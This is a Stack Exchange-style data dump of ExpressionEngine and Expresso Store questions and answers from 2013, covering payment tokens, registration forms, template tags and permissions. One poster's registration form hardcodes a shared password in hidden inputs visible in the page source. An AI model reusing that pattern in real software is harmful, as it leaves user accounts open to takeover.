  <row Id="14620" PostTypeId="2" ParentId="14590" CreationDate="2013-10-15T18:29:41.203" Score="4" Body="&lt;p&gt;I've somewhat pinpointed the issue, but I'm not too sure where to start fixing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, the token generated on the client side which is being set to an input with the name payment[token] is not being recognized inside the payment processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the file &lt;code&gt;Omnipay/Stripe/Message/AuthorizeRequest.php&lt;/code&gt; file there is a if/else conditional looking for the token, however that token wasn't being found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inside the getToken() method being called to retrieve it (line 153 of Common/Message/AbstractRequest.php) , there was the line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return $this-&amp;gt;getParameter('token');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced that with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return $_POST[&quot;payment&quot;][&quot;token&quot;]&lt;/code&gt;&#xA;And the checkout processed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naming the form payment[token] is how the documentation says to set it, but there seems to be a bug somewhere there.&lt;/p&gt;&#xA;" OwnerUserId="206" LastEditorUserId="206" LastEditDate="2013-10-15T18:38:34.703" LastActivityDate="2013-10-15T18:38:34.703" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14621" PostTypeId="1" CreationDate="2013-10-15T19:47:09.140" Score="1" ViewCount="152" Body="&lt;p&gt;As far as I can gather, i should use the payment type Manual for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an invoice template in EE, but I have two questions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is there some obvious way of sending it to the customer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can i handle the due date? It has to be set for X weeks after the date the invoice is actually sent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something I can do with Store, or will I have to look elsewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="150" LastEditDate="2013-10-17T20:32:08.653" LastActivityDate="2013-10-17T20:36:48.323" Title="Pay by invoice - how to send and handle due date" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14622" PostTypeId="1" AcceptedAnswerId="15271" CreationDate="2013-10-15T20:07:18.410" Score="1" ViewCount="1124" Body="&lt;p&gt;I'm getitng a 403 Forbidden error when trying to create custom fields. I can create/edit templates, create/edit channels, administer members and I'm a member of the Super Admins group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error occurs regardless of the field type and I'm not putting any special characters in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Type: Text field&#xA;Name: Strapline&#xA;Shortname: cf_productinfo_strapline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the fields are set as their defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact error is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You don't have permission to access /promin/index.php on this server.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Additionally, a 404 Not Found error was encountered while trying to&#xA;  use an ErrorDocument to handle the request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could it be hosting related? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2014-04-07T18:29:24.363" Title="403 forbidden error when creating custom fields" Tags="|custom-fields|error|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14623" PostTypeId="2" ParentId="14533" CreationDate="2013-10-15T21:23:05.540" Score="0" Body="&lt;p&gt;Solspace's JS solution could be more complete. As the headline feature of FreeForm Pro is Composer for CP users to create forms without coding the above code can only be written if you know what a CP member will name the radio groups, which of course you won't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my complete JQuery JS code to pre-select the first radio button in a radio group of unknown name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// find all input type radio, find group names, check if none selected, if not select first radio.&#xA;var radio_array = Array();&#xA;$('input[type=&quot;radio&quot;]').each(function(){&#xA;    radio_array.push($(this).attr('name'));&#xA;});&#xA;radio_array = sort_unique(radio_array);&#xA;var length = radio_array.length;&#xA;for (var i = 0; i &amp;lt; length; i++) {&#xA;    if( $('input[name=&quot;'+radio_array[i]+'&quot;]:checked').length == 0 ) $('input[name=&quot;'+radio_array[i]+'&quot;]:eq(0)').attr('checked', 'checked');&#xA;}&#xA;&#xA;// http://stackoverflow.com/questions/4833651/javascript-array-sort-and-unique&#xA;function sort_unique(arr) {&#xA;    arr = arr.sort(function (a, b) { return a*1 - b*1; });&#xA;    var ret = [arr[0]];&#xA;    for (var i = 1; i &amp;lt; arr.length; i++) { // start loop at 1 as element 0 can never be a duplicate&#xA;        if (arr[i-1] !== arr[i]) {&#xA;            ret.push(arr[i]);&#xA;        }&#xA;    }&#xA;    return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-10-15T21:23:05.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14624" PostTypeId="1" AcceptedAnswerId="14647" CreationDate="2013-10-15T21:51:12.207" Score="1" ViewCount="333" Body="&lt;p&gt;I have a particular configuration.&#xA;I'm using an &lt;code&gt;&amp;lt;exp:user:register&amp;gt;&lt;/code&gt; form to register a user while at the same time adding a donation to a shopping cart using exp-ressso Store module.&#xA;Basically I have two forms. One of them gets submitted in Ajax (the Registration one), while copying over some values from the Store one. When the submit succeeds also the &lt;code&gt;&amp;lt;exp:store:checkout&amp;gt;&lt;/code&gt;form gets submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have previously added the donation to the cart by using &lt;code&gt;&amp;lt;exp:store:product&lt;/code&gt; tag, reload the page with a #expanded hash in order to jquery .show the actual checkout form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the fact that in two passages, the users of the charity website I'm developing have the chance to register and submit the donation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I will be posting also a &quot;donors list&quot; page, I would like my users to be able to upload their avatar picture/logo which I will later post on the listing page. I was wondering I can I achieve this without having to rely on &lt;code&gt;&amp;lt;exp:user:edit&amp;gt;&lt;/code&gt; tag in a subsequent page/moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my markup code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;cartoline&quot; category=&quot;1&quot;}     &#xA;{exp:store:product&#xA;entry_id=&quot;{entry_id}&quot;&#xA;form_class=&quot;importo-donazione importo&quot;&#xA;form_id=&quot;importo&quot;&#xA;return=&quot;cartoline/cartolina_autore#expand&quot;&#xA;}&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;350,00&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;dona-ora&quot; value=&quot;Dona ora!&quot; /&amp;gt;&#xA;{/exp:store:product} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and later on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;section id=&quot;form&quot;&amp;gt;&#xA;     &amp;lt;div  class=&quot;wrapper&quot;&amp;gt;&#xA;         &amp;lt;h2&amp;gt;Inserisci i tuoi dati e procedi con la donazione&amp;lt;/h2&amp;gt;&#xA;&#xA;       {exp:store:cart}&#xA;&#xA;    {if no_items}&#xA;        &amp;lt;p&amp;gt;La tua donazione è stata annullata. Clicca &amp;lt;a href=&quot;{path=&quot;cartoline/cartolina_autore&quot;}&quot; style=&quot;color: #fff;&quot;&amp;gt;qui&amp;lt;/a&amp;gt; per indicare un nuovo importo per questa donazione&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;&amp;lt;p class=&quot;thanks&quot;&amp;gt;Hai scelto di destinare &amp;lt;span&amp;gt;{order_total}&amp;lt;/span&amp;gt; alla nostra causa! Grazie!&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:store:cart}&#xA;&#xA;&amp;lt;div class=&quot;hidden&quot;&amp;gt;&#xA;{exp:store:checkout &#xA;payment_method=&quot;Paypal_Express&quot; &#xA;return=&quot;thanks/ORDER_HASH&quot; &#xA;require=&quot;billing_first_name|order_email&quot;&#xA;form_id=&quot;store&quot;&#xA;}&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;             &amp;lt;label for=&quot;order_custom1&quot;&amp;gt;Ragione sociale&amp;lt;/label&amp;gt;&#xA;             &amp;lt;input class=&quot;username&quot; type=&quot;text&quot; value=&quot;{billing_first_name}&quot; name=&quot;billing_first_name&quot;/&amp;gt;&#xA;             &amp;lt;/fieldset&amp;gt;&#xA;             &amp;lt;fieldset&amp;gt;&#xA;             &amp;lt;label for=&quot;{order_email}&quot;&amp;gt;email&amp;lt;/label&amp;gt;&#xA;             &amp;lt;input class=&quot;email&quot; type=&quot;text&quot; value=&quot;{order_email}&quot; name=&quot;order_email&quot;/&amp;gt;&#xA;             &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;             &amp;lt;input id=&quot;store-submit&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;invia&quot; /&amp;gt;&#xA;             &amp;lt;/fieldset&amp;gt;&#xA;&#xA;{items}&#xA;{exp:channel:entries &#xA;    entry_id=&quot;{entry_id}&quot; &#xA;    disable=&quot;pagination|categories|member_data|category_fields|custom_fields&quot;&#xA;    channel_short_name= &quot;cartoline&quot;}&#xA;{/exp:channel:entries}&#xA;{/items} &#xA;             &amp;lt;input type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Annulla&quot; /&amp;gt;&#xA;&#xA;&#xA;    {/exp:store:checkout}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;register-form&quot;&amp;gt;&#xA;    {exp:user:register&#xA;    form:id=&quot;registrazione&quot;&#xA;    return=&quot;site/index&quot;&#xA;    }&#xA;    &amp;lt;input class=&quot;username&quot; type=&quot;text&quot; value=&quot;&quot; name=&quot;username&quot;/&amp;gt;&#xA;    &amp;lt;input class=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot; name=&quot;email&quot;/&amp;gt;&#xA;    &amp;lt;input class=&quot;logo&quot; type=&quot;file&quot; name=&quot;logo&quot; value=&quot;&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; id=&quot;password&quot; value=&quot;centronemo24&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;password_confirm&quot; id=&quot;password_confirm&quot; value=&quot;centronemo24&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;procedi&quot; name=&quot;submit&quot;/&amp;gt; &#xA;    {if no_results}&#xA;        &amp;lt;p style=&quot;clear: both;&quot;&amp;gt;Ti sei già registrato per una donazione. Se vuoi farne un'altra, registrati come altro utente &amp;lt;a href=&quot;{path=&quot;logout&quot;}&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:user:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the relevant jquery&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;$(&quot;#store .email&quot;).blur(function(){&#xA;    $(&quot;#registrazione .email&quot;).val(this.value);&#xA;});&#xA;$(&quot;#store .username&quot;).blur(function(){&#xA;    $(&quot;#registrazione .username&quot;).val(this.value);&#xA;});&#xA;$(&quot;#store .logo&quot;).blur(function(){&#xA;    $(&quot;#registrazione .logo&quot;).val(this.value);&#xA;});&#xA;// Get the hash of the page&#xA;var hashstring = window.location.hash.substring(1);&#xA;var found = false;&#xA;var checkedout = false;&#xA;&#xA;// Do a hash exist?&#xA;if (hashstring.length &amp;gt; 0) &#xA;{&#xA;    // Split the hash by '&amp;amp;'-sign (in case you have more variables in the hash, as I have)&#xA;    var a = hashstring.split(&quot;&amp;amp;&quot;);&#xA;&#xA;    // Loop through the values&#xA;    for (i = 0; i &amp;lt; a.length; i++)&#xA;    {&#xA;        // Split the string by '=' (key=value format)&#xA;        var b = a[i].split(&quot;=&quot;);&#xA;&#xA;        // If the key is 'expand' (which tells us if the page is reloaded)&#xA;        if(b[0] == 'expand')&#xA;        {&#xA;            found = true;&#xA;        }&#xA;&#xA;&#xA;    }&#xA;}    &#xA;&#xA;if(found)&#xA;{&#xA;&#xA;$('#form').show();&#xA;$(document.body).animate({&#xA;    'scrollTop':   $('#form').offset().top&#xA;}, 2000);&#xA;$('#importo').hide();&#xA;&#xA;$('#registrazione').on('submit', function(e) {&#xA;  e.preventDefault();&#xA;&#xA;  $.ajax({&#xA;    url: $(this).attr('action'),&#xA;    type: 'POST',&#xA;    data: $(this).serialize(),&#xA;    success: function() {&#xA;      // duplicate fields from first form into second form&#xA;      // as per whatever code you've already written&#xA;&#xA;      // submit second form&#xA;      $('#store-submit').click();&#xA;    }&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to add a  field or something, in order to populate the avatar. I might also consider using a &quot;guest&quot; channel to post images and usernames along with e-mails, but since the member channel seems the most natural destination… &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any thoughts? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-10-17T20:39:28.073" Title="Solspace user registration and avatar uploading" Tags="|expresso-store|file-uploads|solspace-user|registration|safecracker-registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14626" PostTypeId="2" ParentId="5576" CreationDate="2013-10-16T07:09:35.677" Score="2" Body="&lt;p&gt;You can also use EE's native &quot;track_views&quot; channel entries parameter on your individual product's page to count the views every time that page is browsed to by any user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;products&quot; url_title=&quot;{segment_2}&quot; track_views=&quot;one&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-track-views&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-track-views&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use it with Store's search tag like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:search channel=&quot;products&quot; category=&quot;123&quot; orderby=&quot;view_count_one&quot; sort=&quot;desc&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just important when searching by this &quot;popularity&quot; count that you then obviously sort the results descending so you get the products with the highest count first.&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2013-10-16T07:09:35.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14627" PostTypeId="1" AcceptedAnswerId="14685" CreationDate="2013-10-16T07:13:25.490" Score="1" ViewCount="1880" Body="&lt;p&gt;Currently trying to work out why our ExpressionEngine install is running so slowley, have just checked our error log and it's full of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(103)Software caused connection abort: mod_fcgid: ap_pass_brigade failed in handle_request function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entire site seems to hang on every page load then once it gets past this hang loads fairly quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause this error and how can I go about fixing it? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running on ExpressionEngine 2.7 and are using the Expresso Store module.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-10-17T20:50:51.047" Title="(103)Software caused connection abort: mod_fcgid: ap_pass_brigade failed in handle_request function" Tags="|expresso-store|error|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14628" PostTypeId="2" ParentId="14280" CreationDate="2013-10-16T07:15:45.530" Score="0" Body="&lt;p&gt;Seems extensions were somehow automatically disabled when we moved onto our live server, once turned on this tags worked again.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-10-16T07:15:45.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14629" PostTypeId="1" AcceptedAnswerId="14815" CreationDate="2013-10-16T07:48:22.773" Score="1" ViewCount="75" Body="&lt;p&gt;On Expresso Store v2 you have the option to set an expiry date for a promo / discount code. Unfortunately, whilst the setting represents a date and time the Javascript picker only lets you select the date - it automatically selects the current time. Attempting to manually edit the time in the text field doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jiYx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the discount code did expire on the precise time (not just date) that was selected its probably important to allow people to edit the time too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-10-21T20:10:45.280" Title="Exp:resso Store: Setting discount expiry date / time - Store v2" Tags="|expresso-store|discounts|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14630" PostTypeId="1" CreationDate="2013-10-16T08:38:51.110" Score="2" ViewCount="337" Body="&lt;p&gt;So I recently bought the Solspace Calendar Add-On, because my site (that is already running) needed better functionality for the event dates. Problem is that I can't use the calendar field type on the existing channel... I have hundreds of entries in that channel and now I'm wondering how I can easily move those entries to the calendar channel. How would I go and do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marijn&lt;/p&gt;&#xA;" OwnerUserId="2197" LastActivityDate="2013-10-17T11:28:36.340" Title="Solspace Calendar: How to move existing entries to calendar channel?" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14631" PostTypeId="1" CreationDate="2013-10-16T08:59:16.293" Score="1" ViewCount="208" Body="&lt;p&gt;It seems is no longer available for download?&#xA;Since I have EE 2.7 installed I'm limited to using the FILE fieldtype, which doesn't seem to work when I try to upload a file logged in as a member of the &quot;Guest&quot; Membergroup. Anybody with similar experience?&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-10-20T16:14:03.293" Title="safecracker file field_type download" Tags="|safecracker|ee2-upgrades|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14632" PostTypeId="2" ParentId="14353" CreationDate="2013-10-16T10:21:59.687" Score="0" Body="&lt;p&gt;It's rather strange you're getting different results on different templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overall problem though must have something to do with the parse order, since the {if:else} advanced conditional never really worked for me in EE when applied to a logged_in conditional. You have to consider that an &quot;advanced&quot; conditional is evaluated much later in the parsing order, so it might apply to your situation if it's included inside some &lt;code&gt;{exp}&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version do you have installed? I read that some new parsing rules have been introduced with the latest EE releases. If you have the possibility to update I would do so, otherwise I would stick with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;   //DO SOMETHING&#xA;{/if}&#xA;{if logged_in}&#xA;  //DO SOMETHING ELSE&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also give a try to this module: &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt;&#xA;or this one: &lt;a href=&quot;https://github.com/croxton/ifElse&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/ifElse&lt;/a&gt;&#xA;I haven't tested them yet, but apparently they make the advanced conditionals parse earlier in EE templates. Share the results if you happen to try that.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="1148" LastEditDate="2013-10-16T11:01:12.923" LastActivityDate="2013-10-16T11:01:12.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14634" PostTypeId="2" ParentId="14619" CreationDate="2013-10-16T12:28:12.673" Score="1" Body="&lt;p&gt;Would the &lt;code&gt;{exp:playa:parents}&lt;/code&gt; tag do the trick?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially your looking for all of the entries (parents) which have a team member set to be the author. You could loop over your team members (or potentially one member, if it's the member permalink page) and then use the &lt;code&gt;{exp:playa:parents}&lt;/code&gt; tag to pull your specific articles. The parents tag also supports all standard channel:entries tags, so you could do further refining with the search parameter if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/parents.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/playa/templating/module/parents.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Updating my answer after clarification&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about adding something like this, which would be cached to help performance?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;members&quot;}&#xA;  {exp:channel:entries&#xA;  channel=&quot;blogs&quot;&#xA;  search:member=&quot;not IS_EMPTY&quot;}&#xA;&#xA;  {stash:name}{member_name}{/stash:name}&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;members&quot; unique=&quot;yes&quot;}&#xA;  {name}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in the above code, we're pulling back all blogs that have the member field not empty. You'll notice this loop has a {stash:set_list} surrounding it which lets us store each item in a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that chunk of code we use the {stash:get_list} to pull back our list of names, and we specify the unique parameter so we don't return multiple names that are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't test the above code, so definitely check the syntax, but hopefully that would work. Also, check the stash docs for more info on those tags, &lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="206" LastEditorUserId="206" LastEditDate="2013-10-16T19:28:05.520" LastActivityDate="2013-10-16T19:28:05.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14635" PostTypeId="2" ParentId="14602" CreationDate="2013-10-16T13:03:47.023" Score="2" Body="&lt;p&gt;Like you mentioned in your comment, embeds should do the trick, but be aware embeds are very costly to performance. If you have a big loop, and subsequently many embeds, you could see a rather significant performance decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of your normal embeds, you can also try using stash embeds. &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bstash%3Aembed%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bstash%3Aembed%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, take a look into ce caching to see if you can avoid having to run the potentially costly loop each page load. &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ce-cache&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="206" LastEditorUserId="206" LastEditDate="2013-10-17T21:31:59.233" LastActivityDate="2013-10-17T21:31:59.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14636" PostTypeId="2" ParentId="14577" CreationDate="2013-10-16T13:22:44.207" Score="1" Body="&lt;p&gt;From a 50K foot view this approach seems feasible. Obviously when you have that many different nested relationships, you'll need to be conscious of performance and the number of queries on any given page, but that's something you can somewhat manage with your nesting/embedding technique and caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a site with a similar problem where we have 50 items grouped into several sections, which are organized into an individual menu. Each of these (products, sections, menus) are channels, all connected via Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My outer loop, which pulls in a menu and loops over individual sections looks like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;template_menu&quot;&#xA;  disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;  dynamic=&quot;on&quot;&#xA;}&#xA;&#xA;{tmpl_menu_sections}       &#xA; {stash:embed:menu:menu_section stash:section_entry_id=&quot;{entry_id}&quot;}&#xA;{/tmpl_menu_sections}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the embed which pulls in individual sections and loops over their menu items is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;  dynamic=&quot;off&quot;&#xA;  entry_id=&quot;{stash:section_entry_id}&quot;}&#xA;&#xA;  &amp;lt;h3&amp;gt;{menu_section_title}&amp;lt;/h3&amp;gt;&#xA;&#xA;  {menu_section_products}&#xA;  &amp;lt;div class=&quot;menu-line-item clearfix&quot;&amp;gt;&#xA;&#xA;    {title} {item_description}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/menu_section_products}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I have all of this being cached using CE Cache, so I really only have a major performance hit whenever I have set the cache to break.&lt;/p&gt;&#xA;" OwnerUserId="206" LastActivityDate="2013-10-16T13:22:44.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14637" PostTypeId="1" AcceptedAnswerId="14753" CreationDate="2013-10-16T13:37:39.433" Score="0" ViewCount="70" Body="&lt;p&gt;I set up a member group called editors. &#xA;Editors can&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;log in to the CP&lt;/li&gt;&#xA;&lt;li&gt;See the link &quot;Pending comments&quot; in the box &quot;Modify or delete&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When an Editor clicks on this link he´ll get a message, saying, that he has no rights to visit the comments section in order to moderate comments. But they should have those rights and I have set up the member group to refelct that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the member group permissions as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Comment Posting Privileges&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can submit comments Yes&lt;br&gt;&#xA;Exclude member from comment moderation No      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Control Panel Access Preferences&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can access the control panel?    Yes&lt;br&gt;&#xA;Can access CONTENT section   Yes&lt;br&gt;&#xA;Can access CONTENT: Publish  Yes&lt;br&gt;&#xA;Can access CONTENT: Edit     Yes&lt;br&gt;&#xA;Can access CONTENT: File Manager Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Comment Administration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Moderate Comments   Yes&lt;br&gt;&#xA;Can view comments in channel entries authored by others Yes&lt;br&gt;&#xA;Can edit comments in their own channel entries  Yes&lt;br&gt;&#xA;Can delete comments in their own channel entries    Yes&lt;br&gt;&#xA;Can edit comments in ANY channel entries    Yes&lt;br&gt;&#xA;Can delete comments in ANY channel entries  Yes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module Access Privileges Preferences&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can access module:  Comment Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me this looks all good. I also included the Editors in the PUBLISH page multi-author list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I miss?&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-10-16T13:49:00.953" LastActivityDate="2013-10-20T19:14:11.867" Title="Member group can´t edit comments in CP, but has rights to do so in EE 2.7.0" Tags="|control-panel|comments|member-management|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
